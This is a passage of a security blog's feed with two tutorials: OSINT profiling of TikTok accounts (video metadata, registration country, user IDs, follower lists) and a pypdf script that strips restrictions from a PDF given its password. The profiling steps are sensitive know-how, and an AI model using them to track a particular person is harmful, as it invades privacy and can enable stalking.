src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrrRAgPEWRjTqd0fpgFw0401Ntw9irprAocFlZB8QjBf8doMqvqi99W8LRpL96cSh5k3wPfY0tqTGJgHzv1HlQvW93dMXLgB1nIHiSFkkhmBdgHSXPdejZnLUMLyMYY0RY5S4VtEmYcg0eIHwTg1jrKgNHaFEv0aj_bAVB4OOawX4GnaapoB8PnQuFjJ_w/s72-w640-h426-c/IPv4%20Subnetting%20Explained%20Deeply.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-1284250763445328851</id><published>2026-03-15T02:39:00.000-07:00</published><updated>2026-03-15T02:39:13.873-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dorking"/><category scheme="http://www.blogger.com/atom/ns#" term="OSINT"/><category scheme="http://www.blogger.com/atom/ns#" term="tiktok"/><title type='text'>OSINT - Open Source Intelligence : Extracting Information from TikTok</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNJwvj8ST6kANcJaHEDs_jf5ybz2e6deaMrxvLl92xJqfmvyGrPiSZXeVv9KKdjhwhQDvp7ADavIwf7vSe2q-SbyCA5hTqa0BTJTJg2yIPQZptGI5dPT5VnvgbGuDfOVL6fPxwLoWc637EzrSwYxsVdPt28jDRZ4CRBLuwQBzdijAx9wrF9bRumz8i4Uxt/s1536/web.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNJwvj8ST6kANcJaHEDs_jf5ybz2e6deaMrxvLl92xJqfmvyGrPiSZXeVv9KKdjhwhQDvp7ADavIwf7vSe2q-SbyCA5hTqa0BTJTJg2yIPQZptGI5dPT5VnvgbGuDfOVL6fPxwLoWc637EzrSwYxsVdPt28jDRZ4CRBLuwQBzdijAx9wrF9bRumz8i4Uxt/w640-h426/web.png&quot; title=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
  OSINT - Open Source Intelligence : Extracting Information from TikTok
&lt;/h3&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Today, we will explore the world of social media &lt;b&gt;&lt;i&gt;OSINT &lt;/i&gt;&lt;/b&gt;with a
  deeper focus on TikTok. What initially began as a simple short-video sharing
  application has quickly evolved into a massive global platform with more than
  one billion active users. Every day, millions of people create, share, and
  interact with content on &lt;b&gt;&lt;i&gt;TikTok &lt;/i&gt;&lt;/b&gt;at an incredible pace.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Most users see TikTok purely as an entertainment platform filled with viral
  videos and trends. However, beyond the entertainment aspect, TikTok can also
  serve as a valuable source of information. In this article, we will examine
  how different OSINT tools can help extract useful insights from TikTok, such
  as location indicators, network relationships, and hidden metadata embedded
  within the platform. Let’s begin the exploration.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Step #1: Understanding TikTok URL Metadata&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Our first tool is Unfurl, a digital forensics tool designed to extract hidden
  metadata from URLs across multiple online platforms, including TikTok. The
  name itself reflects its function — it “unfurls” or breaks down complex URL
  structures to reveal the information embedded within them.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  When someone shares a TikTok video, the URL contains much more than just a
  direct link to the content. TikTok embeds different identifiers, timestamps,
  and metadata within the link itself. These elements are often encoded in ways
  that are difficult to interpret at first glance.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Unfurl analyzes these URLs and converts the hidden data into a clear and
  structured visual format. This makes it much easier to examine and understand
  the information contained inside the link.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;4334138854&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;
  To begin using this tool, simply open dfir.blog/unfurl in your web browser.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq0EezlMvlfCtX4a0UZrwPYPcAoux3GDkPEjudx2DgMUwfcWq7nLEhRdBDmdB1Et5t8lyEdjJMYB3Zfv8UNL3LQTIvFWb_TQEWd-NEJIMWFLnwUBfKq3fGGVS6UWBeayCIJgG2ea_bUk_L8arsD8ToFFrqvguoI_kXOxK_jVp3O1fevPF3jHggVQSB9v9_/s954/hackingtruth-osint.webp&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; border=&quot;0&quot; data-original-height=&quot;426&quot; data-original-width=&quot;954&quot; height=&quot;286&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq0EezlMvlfCtX4a0UZrwPYPcAoux3GDkPEjudx2DgMUwfcWq7nLEhRdBDmdB1Et5t8lyEdjJMYB3Zfv8UNL3LQTIvFWb_TQEWd-NEJIMWFLnwUBfKq3fGGVS6UWBeayCIJgG2ea_bUk_L8arsD8ToFFrqvguoI_kXOxK_jVp3O1fevPF3jHggVQSB9v9_/w640-h286/hackingtruth-osint.webp&quot; title=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  The interface is simple. Paste any TikTok video link into this field and click
  the Unfurl button. The tool processes the URL and generates a tree diagram
  showing all extracted metadata.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRSpw-Vud3tzDJkRL1GdIgtidE7_lpwjhMHsh8nolNQmCtmIetsru6ke0wgr18YIIHa-tCdz8kjqPndnkebnit5cvs8nUKjzcbLP8oWzyo5myGZ8a6wQ9QYvpT9-Ad97fmzKQodFZw8jIB50VIHMNoJQzgw7Dj7hGRJS0tEL4N4K8G_V406BxHXB2OvQad/s928/hackingtruth-osint-blog.webp&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; border=&quot;0&quot; data-original-height=&quot;578&quot; data-original-width=&quot;928&quot; height=&quot;398&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRSpw-Vud3tzDJkRL1GdIgtidE7_lpwjhMHsh8nolNQmCtmIetsru6ke0wgr18YIIHa-tCdz8kjqPndnkebnit5cvs8nUKjzcbLP8oWzyo5myGZ8a6wQ9QYvpT9-Ad97fmzKQodFZw8jIB50VIHMNoJQzgw7Dj7hGRJS0tEL4N4K8G_V406BxHXB2OvQad/w640-h398/hackingtruth-osint-blog.webp&quot; title=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  The screenshot above shows that we have extracted the video ID, a unique
  identifier assigned to each video on the platform. Additionally, the author’s
  username and timestamps embedded in TikTok URLs indicate when the content was
  published. Unfurl processes these timestamps from their encoded formats and
  translates them into easily readable dates and times.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  Step #2: Gathering TikTok Account Intelligence
&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Let’s shift our focus to account-level insights rather than just individual
  video metadata. To facilitate this, there’s a website called omar-thing.site
  that can help.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmOD5YEmip7-DnIjY1_8aztQGexxS_q02cj8MvaSN1CebUzAihS3ES8-uGMyCzrJ4l3HOrSc4UJP9El7TQaqW7XTSMy-c1RHWnrhIJ54YZrByxR381u599eoZIpzWGU3Pd3Vlt9dF3agQmzKveh3FygWRPmd4o9DKqGlX0wWt0EYX7alxFOumBRRM__U_S/s959/hackingtruth-osint-blog-article.webp&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; border=&quot;0&quot; data-original-height=&quot;561&quot; data-original-width=&quot;959&quot; height=&quot;374&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmOD5YEmip7-DnIjY1_8aztQGexxS_q02cj8MvaSN1CebUzAihS3ES8-uGMyCzrJ4l3HOrSc4UJP9El7TQaqW7XTSMy-c1RHWnrhIJ54YZrByxR381u599eoZIpzWGU3Pd3Vlt9dF3agQmzKveh3FygWRPmd4o9DKqGlX0wWt0EYX7alxFOumBRRM__U_S/w640-h374/hackingtruth-osint-blog-article.webp&quot; title=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  To begin, simply enter the username of the account you wish to explore and
  submit your query.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfk88dt6o_HrrEWM6AZ7ewVZp6jef2wVJum0uVyx0p2tas2qiW-DnaCKuN4iBXA-I1cTDMJQmizNZ_T_rXhgFPZpekbGWwCCWht50Su4oCE8imrIpk34XupZKeJuwS3gYcWt3-rLoCPxTAV6GGA5yR5KpR2Jqp2yesUBqvJwcsXbIJiAdkPfUWnZQOmhzw/s957/hackingtruth-osint-1.webp&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; border=&quot;0&quot; data-original-height=&quot;915&quot; data-original-width=&quot;957&quot; height=&quot;612&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfk88dt6o_HrrEWM6AZ7ewVZp6jef2wVJum0uVyx0p2tas2qiW-DnaCKuN4iBXA-I1cTDMJQmizNZ_T_rXhgFPZpekbGWwCCWht50Su4oCE8imrIpk34XupZKeJuwS3gYcWt3-rLoCPxTAV6GGA5yR5KpR2Jqp2yesUBqvJwcsXbIJiAdkPfUWnZQOmhzw/w640-h612/hackingtruth-osint-1.webp&quot; title=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;9580532304&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  The results begin with the avatar, along with the option to download it for
  further analysis. Next, we can see that the account name and display name are
  extracted separately. The location of the account is also indicated, showing
  the country where the account was registered or where TikTok believes the user
  is based, which in this instance is Belarus. Additionally, the language used
  by the account owner is noted. Below that, we have the bio; however, I’ve
  blurred it in this case due to advertisements. Following that, we can find
  various account stats and details, such as the user ID, which is permanent. We
  can also see the creation date, the dates of any username changes, and whether
  the account is private or public.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  At the bottom of those details, we can find lists of followers and of those
  being followed. We can click to explore them further or download the
  information for analysis later.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3d-KyNmbwmVGgXjRXEu34zYzTrq_Oq3BUO4ZWeZXrxUtitbEEd-sMGl5Gkx1Ntd1E8VE8R3rGN_UCXLhAR9Zr3ZBJSUMjShO39ZCBlyeBx5CLj807zqbY9n85fZLsw9uusaDcD_h8v_PhoCyea0es7SEluB8z4V2QZhiUZI0bztAKC2YGT161-7Uf5bAg/s955/hackingtruth-osint-2.webp&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; border=&quot;0&quot; data-original-height=&quot;524&quot; data-original-width=&quot;955&quot; height=&quot;352&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3d-KyNmbwmVGgXjRXEu34zYzTrq_Oq3BUO4ZWeZXrxUtitbEEd-sMGl5Gkx1Ntd1E8VE8R3rGN_UCXLhAR9Zr3ZBJSUMjShO39ZCBlyeBx5CLj807zqbY9n85fZLsw9uusaDcD_h8v_PhoCyea0es7SEluB8z4V2QZhiUZI0bztAKC2YGT161-7Uf5bAg/w640-h352/hackingtruth-osint-2.webp&quot; title=&quot;OSINT - Open Source Intelligence : Extracting Information from TikTok&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 18px; line-height: 26px; margin: 0px 0px 15px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
  Disclaimer
&lt;/h4&gt;
&lt;p style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
  All tutorials are for informational and educational purposes only and have
  been made using our own routers, servers, websites and other vulnerable free
  resources. we do not contain any illegal activity. We believe that ethical
  hacking, information security and cyber security should be familiar subjects
  to anyone using digital information and computers. Hacking Truth is against
  misuse of the information and we strongly suggest against it. Please regard
  the word hacking as ethical hacking or penetration testing every time this
  word is used. We do not promote, encourage, support or excite any illegal
  activity or hacking.
&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/1284250763445328851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2026/03/osint-open-source-intelligence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1284250763445328851'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1284250763445328851'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2026/03/osint-open-source-intelligence.html' title='OSINT - Open Source Intelligence : Extracting Information from TikTok'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNJwvj8ST6kANcJaHEDs_jf5ybz2e6deaMrxvLl92xJqfmvyGrPiSZXeVv9KKdjhwhQDvp7ADavIwf7vSe2q-SbyCA5hTqa0BTJTJg2yIPQZptGI5dPT5VnvgbGuDfOVL6fPxwLoWc637EzrSwYxsVdPt28jDRZ4CRBLuwQBzdijAx9wrF9bRumz8i4Uxt/s72-w640-h426-c/web.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-8981693017815286188</id><published>2026-02-21T20:42:51.462-08:00</published><updated>2026-02-21T20:42:59.003-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="tools"/><title type='text'>How to Unblock a Protected PDF in Python </title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0LKjVrFCdGyD6tnS8iYg-ObC5IGBzLfJyvUHPyVBOLh9kak67rKNK_Qfye1v8_gWI9re0Ko_r94UxnRJD9Xjg4IFfH_zMpZaypIh2GoHgJGAzPwPn9Gd9cOSpPh5cr2iPCZDn8Q799tdDncZJ_hXHoYAlVo1lsdlpuWUggPZ4AWXcLYwrmDDqpkUfSpUz/s1280/python-unblock-password-pdf.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;How to Unblock a Protected PDF in Python&quot; border=&quot;0&quot; data-original-height=&quot;720&quot; data-original-width=&quot;1280&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0LKjVrFCdGyD6tnS8iYg-ObC5IGBzLfJyvUHPyVBOLh9kak67rKNK_Qfye1v8_gWI9re0Ko_r94UxnRJD9Xjg4IFfH_zMpZaypIh2GoHgJGAzPwPn9Gd9cOSpPh5cr2iPCZDn8Q799tdDncZJ_hXHoYAlVo1lsdlpuWUggPZ4AWXcLYwrmDDqpkUfSpUz/w640-h360/python-unblock-password-pdf.png&quot; title=&quot;How to Unblock a Protected PDF in Python&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;i&gt;PDF encryption&lt;/i&gt;&lt;/b&gt; is commonly used to restrict editing, copying, or
  printing. In many enterprise workflows—legal documentation, invoice
  processing, automation pipelines—you may need to remove protection from a
  &lt;i&gt;PDF &lt;/i&gt;file &lt;i&gt;programmatically&lt;/i&gt;, provided you have the authorized
  password.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;In this guide, you’ll learn how to:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
  &lt;li&gt;Detect whether a PDF is encrypted&lt;/li&gt;
  &lt;li&gt;Ask the user for file input dynamically&lt;/li&gt;
  &lt;li&gt;Prompt securely for a password&lt;/li&gt;
  &lt;li&gt;Generate an unprotected copy&lt;/li&gt;
  &lt;li&gt;Handle errors cleanly&lt;/li&gt;
  &lt;li&gt;
    We will use the Python library &lt;i&gt;pypdf&lt;/i&gt;, the maintained successor to
    PyPDF2.
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Understanding PDF Protection Types&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Before writing code, understand what “protected” means:&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_zvH1xvG3nZ4R5c6-_q0E-xppqfmSDWsOqasV0kidhu_iv4xvYXfrTUtZpaeHgShLjwA0KvVuX8SJ_I0K6W7Y2p5XRfxQ1ec0cYypeBIeZniRijI4inQeRsDs1-1Ta0xOoi2bAL-SYN4CRZb7eywqe4YLyPwIh1kZWY7A3cswzK0TyjlY3u28m4d4DAN-/s1472/py-unblock-pdf.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;471&quot; data-original-width=&quot;1472&quot; height=&quot;204&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_zvH1xvG3nZ4R5c6-_q0E-xppqfmSDWsOqasV0kidhu_iv4xvYXfrTUtZpaeHgShLjwA0KvVuX8SJ_I0K6W7Y2p5XRfxQ1ec0cYypeBIeZniRijI4inQeRsDs1-1Ta0xOoi2bAL-SYN4CRZb7eywqe4YLyPwIh1kZWY7A3cswzK0TyjlY3u28m4d4DAN-/w640-h204/py-unblock-pdf.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;
  &lt;b&gt;NOTE -&amp;nbsp;⚠ Always ensure you have legal rights to modify the
    document.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Step 1 — Install Required Library&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;pip install pypdf&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2h1pk90ANbGuZ6Br0tOjYThk8QNSrYpuuN4x6KZRKXHKviJWaE_u9ewRKDAApPfosN349Nq7wkvjofsbU9nyckVxMxL4r3xStwf9a1Mg-oqBmNVlvb9pOTh07uIgT-884WSezuF-YLGM8iWABoCnfhMXXdArAwS-BJcZT-FPQDWz9g__g-A7Th6guwUtY/s1272/python-pydf.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;477&quot; data-original-width=&quot;1272&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2h1pk90ANbGuZ6Br0tOjYThk8QNSrYpuuN4x6KZRKXHKviJWaE_u9ewRKDAApPfosN349Nq7wkvjofsbU9nyckVxMxL4r3xStwf9a1Mg-oqBmNVlvb9pOTh07uIgT-884WSezuF-YLGM8iWABoCnfhMXXdArAwS-BJcZT-FPQDWz9g__g-A7Th6guwUtY/w640-h240/python-pydf.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;9580532304&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Step 2 — Python Script (User Input Based)&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Below is a production-safe CLI script.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;from pypdf import PdfReader, PdfWriter
import os
import getpass

def unlock_pdf():
    # Ask user for input file
    input_path = input(&quot;Enter PDF file path: &quot;).strip()

    if not os.path.exists(input_path):
        print(&quot;❌ File not found.&quot;)
        return

    # Output file name
    output_path = input(&quot;Enter output PDF file name (e.g., unlocked.pdf): &quot;).strip()

    try:
        reader = PdfReader(input_path)

        # Check encryption
        if reader.is_encrypted:
            print(&quot;🔐 PDF is encrypted.&quot;)

            # Ask password securely
            password = getpass.getpass(&quot;Enter PDF password: &quot;)

            if not reader.decrypt(password):
                print(&quot;❌ Wrong password.&quot;)
                return
            else:
                print(&quot;✅ Password accepted.&quot;)
        else:
            print(&quot;ℹ️ PDF is not encrypted, removing restrictions anyway.&quot;)

        # Write unlocked file
        writer = PdfWriter()

        for page in reader.pages:
            writer.add_page(page)

        with open(output_path, &quot;wb&quot;) as f:
            writer.write(f)

        print(f&quot;✅ Unlocked PDF saved as: {output_path}&quot;)

    except Exception as e:
        print(&quot;❌ Error:&quot;, str(e))


if __name__ == &quot;__main__&quot;:
    unlock_pdf()


&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Code Breakdown (Technical Explanation)&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;1️⃣ PdfReader&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Loads the PDF file into memory.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;2️⃣ is_encrypted&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Checks whether the PDF is protected.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;3️⃣ decrypt(password)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Attempts decryption using user-provided password.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;4️⃣ PdfWriter&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Rewrites pages into a new file without restrictions.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Execution Flow&lt;/h4&gt;
